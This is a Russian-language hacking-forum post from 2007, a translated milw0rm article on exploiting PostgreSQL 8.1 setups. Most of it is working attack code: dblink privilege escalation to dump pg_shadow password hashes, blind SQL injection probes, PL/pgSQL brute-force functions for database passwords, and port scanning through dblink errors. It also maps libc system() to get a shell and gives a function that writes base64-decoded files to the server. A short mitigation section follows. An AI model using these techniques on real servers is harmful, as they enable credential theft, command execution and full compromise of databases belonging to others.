Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   [Перевод]Развлечения с PostgreSQL (https://forum.antichat.xyz/showthread.php?t=49542)

NeMiNeM 22.09.2007 00:11

[Перевод]Развлечения с PostgreSQL
 
Развлечения с P o s t g r e S Q L


Автор: Nico Leidecker ( nfl@portcullis-security.com)
Дата: June 05 2007
Перевод: NeMiNeM


PostgreSQL - это объектно-реляционная система управления базами данных (ORDBMS) (по-русски ОРСУБД или просто СУБД) основанная на POSTGRES, версии 4.2, которая была разработана в Научном Компьютерном Департаменте Беркли Калифорнийского Университета. POSTGRES является пионером во многих аспектах, которые стали доступны в некоторых коммерческих СУБД много позже.

PostgreSQL - это продукт с открытым исходным кодом, который является потомком оригинального кода, написанного в Беркли. PostgreSQL поддерживает большую часть стандарта SQL и предлагает множество современных возможностей. (подробно)


[Предисловие]

В этой статье будут представлены несколько идей для эксплуатации уязвимостей в типичных конфигурациях PostgreSQL. Большинство идей не новые, но всё же их тяжело найти или очень легко недосмотреть.

Все примеры проверялись на PostgreSQL 8.1 и могут не совпадать с предыдущими версиями.
Версия 8.2 обсуждается в разделе о pgchanges.


[dblink: Корень Зла]

Dblink – часть PostgreSQL начиная с версии 7.2. DBlink позволяет организовать связь между серверами и с одного сервера обращаться за данными на другой сервер. Типичное использование dblink:

Код:

CREATE VIEW entry_states AS SELECT * FROM
                        dblink('host=1.2.3.4
                                dbname=remotedb
                                user=dbuser
                                password=secretpass',
                              'SELECT id, title FROM  entries')
                        AS remote_entries(id INT, title TEXT);

Это только небольшой пример как можно использовать dblink. Но нам более интересно как можно злоупотреблять им.

[Расширение привилегий]
В конфигурации PostgreSQL по-умолчанию включена локальная trust-аутентификация, т.е. каждое подключение к бд с локального хоста будет принято даже без ввода пароля. Трудно понять, почему такая опция включена по-умолчанию и соответствующие предупреждение в файле 'pg_hba.conf' безошибочное:

Внимание: Конфигурация системы для локальной trust-аутентификации даст возможность любому локальному пользователю подключится к PostgreSQL под именем другого пользователя, даже superuser. Если вы не доверяете локальным пользователям, используйте другой метод аутентификации.

Опытный админ скорее всего не пропустит этого, но новичок может и не отключить такую аутентификацию.

Итак! Что же будет если мы будем использовать dblink для подключения к локальному хосту?


Код:

SELECT * FROM dblink('host=127.0.0.1
                          user=someuser
                          dbname=somedb',
                        'SELECT column FROM sometable')
                      RETURNS (result TEXT);

Такой запрос будет исполнен с правами 'someuser' и выдаст результат в текущую сессию. В целом, пользователь может и не быть админом. Но если мы знаем логин админа, идентифицировали хост (с помощью dblink) и на сервере включена локальная trust-аутентификация – у нас есть больше возможностей. Пример для непривилегированного пользователя 'someuser':

Код:

  $ psql -U someuser somedb
    somedb=> select usename, usesuper from pg_user where usename=current_user;
    usename  | usesuper
    ----------+----------
    someuser | f
    (1 row)

    somedb=> select usename from pg_user where usesuper='t';
    usename
    ---------
    admin
    (1 row)

Чтоб доказать это, попытаемся сначала как непривилегированный пользователь сделать запрос на хэшы паролей с файла pg_shadow а потом попробуем с помощью расширения привелегий и пользователя 'admin'.

Код:

somedb=> select usename, passwd from pg_shadow;
    ERROR:  permission denied for relation pg_shadow

    somedb=> SELECT * FROM dblink('host=127.0.0.1 user=admin
    dbname=somedb', 'select usename,passwd from pg_shadow') returns
    (usename TEXT, passwd TEXT);
    usename  |              passwd
    ----------+-------------------------------------
    admin    | md549088b3a87b8ce56ecd39259d17ff834
    someuser | md5e7b0ce63e5eee01ee6268b3b6258e8b2
    (2 rows)

Эти запросы можно было бы конечно использовать и в SQL-инъекциях. Очевидно, что необходимым условием есть идентификация установлена ли библиотека dblink и включена ли локальная trust-аутентификация. Давайте предположим что мы проводим blind SQL injection и нам нужны два простых запроса чтоб достать необходимую информацию:

Код:

SELECT
        repeat(md5(1), 500000)
    WHERE
        EXISTS (SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2);

    SELECT
        repeat(md5(1),500000)
    WHERE
        EXISTS (
            SELECT * FROM dblink('host=127.0.0.1
                                  user=admin
                                  dbname=somedb',
                                'SELECT 1')
                              RETURNS (i INT));

Если есть возможность расширения привелегий, то есть возможность использовать и более интересные функции. Но перед этим, давайте ближе ознакомимся с dblink и с тем, что можно достичь без расширения привелегий.

[Брут-форс учётных записей]

Если локальная trust-аутентификация отключена мы всё же можем брутить эккаунты, возможно будет акк с простым паролем. Самый простой, но примитивный вариант – это посылать в SQL запросе к серверу слова, вложенные в POST или GET запрос. Но, необыкновенное количество запросов может вызвать подозрение. Другой метод, который использует только один или два запроса, а остальное оставляет для обработки базой данных это PL/pgSQL - загружаемый процедурный язык для PostgreSQL, который должен создать администратор выполнив CREATE LANGUAGE 'plpgsql'. Мы можем проверить его присутствие:
Код:

somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
    lanname | lanacl
    ---------+---------
    plpgsql |
    (1 row)

Ура! Он присутствует! И даже больше! По-умолчанию создания функций – это привилегия возможна для PUBLIC, где PUBLIC – это любой пользователь бд. Чтоб избежать этого, админ должен был отменить привилегию USAGE с домена PUBLIC:

somedb=# REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

В этом случаи, наш предыдущий запрос выдал бы такой результат:
Код:

somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
    lanname | lanacl
    ---------+-----------------
    plpgsql | {admin=U/admin}
    (1 row)


Однако, у нас есть право использовать язык и таким образом создавать произвольные функции. Итак, создадим функцию, которая составляет слова и использует их в строке соединения dblink с локальным хостом. Кроме того, нам нужен обработчик ошибок, на случай если аутентификация провалится.

Код:

CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                  username TEXT, dbname TEXT) RETURNS TEXT AS
    $$
    DECLARE
        word TEXT;
    BEGIN
        FOR a IN 65..122 LOOP
            FOR b IN 65..122 LOOP
                FOR c IN 65..122 LOOP
                    FOR d IN 65..122 LOOP
                      BEGIN
                          word := chr(a) || chr(b) || chr(c) || chr(d);
                          PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                      ' port=' || port ||
                                                      ' dbname=' || dbname ||
                                                      ' user=' || username ||
                                                      ' password=' || word,
                                                      'SELECT 1')
                                                      RETURNS (i INT));
                                                    RETURN word;
                            EXCEPTION
                              WHEN sqlclient_unable_to_establish_sqlconnection
                                  THEN
                                    -- do nothing
                        END;
                    END LOOP;
                END LOOP;
            END LOOP;
        END LOOP;
        RETURN NULL;
    END;
    $$ LANGUAGE 'plpgsql';

Этот исключительно инкрементный метод брута возвратит слово как результат удачной аутентификации или же NULL (нулевое значение). К сожалению, как и все брут-форс техники, эта займет очень много времени и не факт что принесет результат. Другим вариантом есть использование списка готовых слов. Чтоб это сделать, мы можем использоваться возможностями другой удаленной бд:

Код:

CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                  username TEXT, dbname TEXT) RETURNS TEXT AS
    $$
    BEGIN
        FOR word IN (SELECT word FROM dblink('host=1.2.3.4
                                              user=name
                                              password=qwerty
                                              dbname=wordlists',
                                            'SELECT word FROM wordlist')
                                          RETURNS (word TEXT)) LOOP
            BEGIN
                PERFORM(SELECT * FROM dblink(' host=' || host ||
                                            ' port=' || port ||
                                            ' dbname=' || dbname ||
                                            ' user=' || username ||
                                            ' password=' || word,
                                            'SELECT 1')
                                          RETURNS (i INT));
                RETURN word;

                EXCEPTION
                    WHEN sqlclient_unable_to_establish_sqlconnection THEN
                        -- do nothing
            END;
        END LOOP;
        RETURN NULL;
    END;
    $$ LANGUAGE 'plpgsql'

В зависимости от данных в базе, было бы логично получать слова с текущих данных. Вот пример функции, которая достает и делает запросы в каждую таблицу и атрибут типа TEXT из pg_attribute и pg_class:

Код:

CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                  username TEXT, dbname TEXT) RETURNS TEXT AS
    $$
    DECLARE
        qry TEXT;
        row RECORD;
        word text;
    BEGIN
        FOR row IN (SELECT
                        relname, attname
                    FROM
                        (pg_attribute JOIN pg_type ON atttypid=pg_type.oid)
                            JOIN pg_class ON attrelid = pg_class.oid
                    WHERE
                        typname = 'text') LOOP
            BEGIN
                qry = 'SELECT '
                          || row.attname || ' AS word ' ||
                      'FROM '
                          || row.relname || ' ' ||
                      'WHERE '
                          || row.attname || ' IS NOT NULL';

                FOR word IN EXECUTE (qry) LOOP
                  BEGIN
                        PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                    ' port=' || port ||
                                                    ' dbname=' || dbname ||
                                                    ' user=' || username ||
                                                    ' password=' || word,
                                                    'SELECT 1')
                                                  RETURNS (i INT));
                      RETURN word;

                      EXCEPTION
                        WHEN sqlclient_unable_to_establish_sqlconnection THEN
                                -- do nothing
                  END;
                END LOOP;
            END;
        END LOOP;
        RETURN NULL;
    END;
    $$ language 'plpgsql';

Можно улучшить код, разделяя результаты пробелами и удаляя все ненужные спец. символы.

[Сканирование портов с помощью удалённого доступа]

Когда попытка подключения неуспешна, dblink показывает исключение `sqlclient_unable_to_establish_sqlconnection' и разъяснение ошибки. Некоторые примеры:

Код:

SELECT * FROM dblink_connect('host=1.2.3.4
                                  port=5678
                                  user=name
                                  password=secret
                                  dbname=abc
                                  connect_timeout=10');

a) Хост не работает.

DETAIL: could not connect to server: No route to host Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

b) Закрытый порт

DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

c) Порт открытый

DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request

или

DETAIL: FATAL: password authentication failed for user "name"
d) Порт открытый или стоит фильтр

DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?


К сожалению, нет возможности получить детали исключения в пределах PL/pgSQL функции. Но возможно получить детали, если есть возможность подключится к серверу PostgreSQL напрямую. Если нет возможности получить логины и пароли просто из системных таблиц, атака из списка слов может принести результат.


[Подключение функций]

Если мы присмотримся ближе к dblink то увидим такие строчки:
CREATE OR REPLACE FUNCTION dblink_connect (text) RETURNS text AS
'$libdir/dblink','dblink_connect' LANGUAGE 'C' STRICT;

Это простой оператор CREATE с переменной $libdir, которая представляет директорию библиотеки PostgreSQL. После исполнения запроса, функция подключается с библиотеки dblink к dblink_connect(), которая ожидает аргумент TEXT. Нет ограничений на библиотеки и функции, и в какой директории мы ищем эти функции. Следовательно, мы можем создать функцию и подключить ее к любой функции произвольной библиотеки…припустим `libc':

CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS
'/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT;

По-умолчанию, обыкновенный пользователь не будет иметь прав на создание функций с помощью языка `C'. Но в случаи, если мы супер-пользователь или используем расширение привелегий, можем получить шелл.


[Получаем шелл]
PostgreSQL предлагает функцию для строк на С, кот. называеться CSTRING. Это позволяет нам не только подключать функции, которые ожидают целые аргументы, но также позволяет изменять структуры TEXT в необработанные символьные массивы. И это открывает для нас новые ворота:

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;

Всё, что мы делаем с system() будет исполнено в контексте сервера. Однако не факт, что это будет рут.

[Заливаем файлы]

Экспериментируя с функциями, мы можем открывать, вводить информацию и закрывать файлы.

Вот интересный приём для отправки данных с бинарника к бд сервера и потом ввод данных в файл. Нам нужны функции:


CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS
'/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;

CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS
'/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;

CREATE OR REPLACE FUNCTION close(int) RETURNS int AS
'/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;

Отправка бинарных данных на сервер, который потом передаст их к бд может провалится.
Для этого, лучше перекодировать бинарные данные в буквенно-цифровые. Base64 – наш друг и сервер PostgreSQL соединит хранящийся процедуры. PostgreSQL будет запускать процесс для каждого нового подключения, таким образом файл-дескриптор будет отключатся вместе с завершением соединения. Это значит, что нам нужно будет за каждым разом открывать тот же файл чтоб переслать часть информации. Но это не проблема. Вот функция, которая открывает, вписывает информацию и закрывает файл, а также декодирует строку base64 перед тем, как вписать ее в файл:

Код:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
    $$
    DECLARE
        fh int;
        s int;
        w bytea;
        i int;
    BEGIN
        SELECT open(textout(file)::cstring, 522, 448) INTO fh;

        IF fh <= 2 THEN
            RETURN 1;
        END IF;

        SELECT decode(s, 'base64') INTO w;

        i := 0;
        LOOP
            EXIT WHEN i >= octet_length(w);

            SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

            IF rs < 0 THEN
                RETURN 2;
            END IF;

            i := i + 1;
        END LOOP;

        SELECT close(fh) INTO rs;

        RETURN 0;

    END;
    $$ LANGUAGE 'plpgsql';

Цифры 522 и 448 в вызове функции open() – это значения для ( O_CREAT |
O_APPEND | O_RDWR ) и S_IRWXU. Заметьте, они зависят от ОС.



[Функции sleep и copy в PostgreSQL 8.2]

Много вещей в этой статье основанные на версии 8.1 и не будут работать или будут плохо работать в версии 8.2. К примеру, в новой версии есть встроенная функция pg_sleep. Вообще-то эта функция упростит нам жизнь. Но другой новой фичей есть проверка на совместность при загрузке библиотек. Каждая библиотека должна иметь спец.блок для идентификации. Конечно, libc не имеет такого блока и по этому не может быть загружена. Вкратце, мы не можем использовать system() для исполнения шелл-команд и write(), open() или close() для работы с файлами. Но мы можем использовать команду COPY для записи в файл. К сожалению, нам понадобятся права супер-юзера для копирования данных с таблицы в файл и мы не сможем записать бинарные данные в файл. Вопрос: Поможет ли нам запись с низкими правами данных ASCII в глобальный каталог для записи (например `/tmp') ? Скорее всего – нет.

NeMiNeM 22.09.2007 00:12

[Рекомендации и предотвращение]

Во-первых нужно отключить локальную trust-аутентификацию. Для этого отредактируйте строчки по-умолчанию в конце файла pg_hba.conf:
local all all ident sameuser
host all all md5

Как результат, каждый пользователь (локальный или удаленный) должен будет идентифицироваться. Расширение привелегий с помощью dblink уже не будет возможным.
Для отключения мэппинга к произвольным библиотекам лучше всего обновить версию PostgreSQL. Но также будет необходимо убедиться что у всех пользователей ограниченные права.

[Скрипт pgshell]

`pgshell' – это скрипт на пэрл, который делает то, что описано в этой статье. Он использует SQL-инъекции для собирания данных о системе, расширяет привелегии, создает шелл и загружает файлы. Описание и сам шелл здесь: http://www.leidecker.info/pgshell/

[Ссылки]

http://db.cs.berkeley.edu/postgres.html
http://www.postgresql.org/about/history
http://www.postgresql.org/about/users
http://www.linuxshare.ru/postgresql/manual/intro-whatis.html

Оригинал - http://milw0rm.com/papers/165
Перевод: NeMiNeM
Специально для antichat.ru

ps: В статье/переводе возможны ошибки. Просьба не кричать, а спокойно указать и исправить :) Спасибо.


Время: 22:07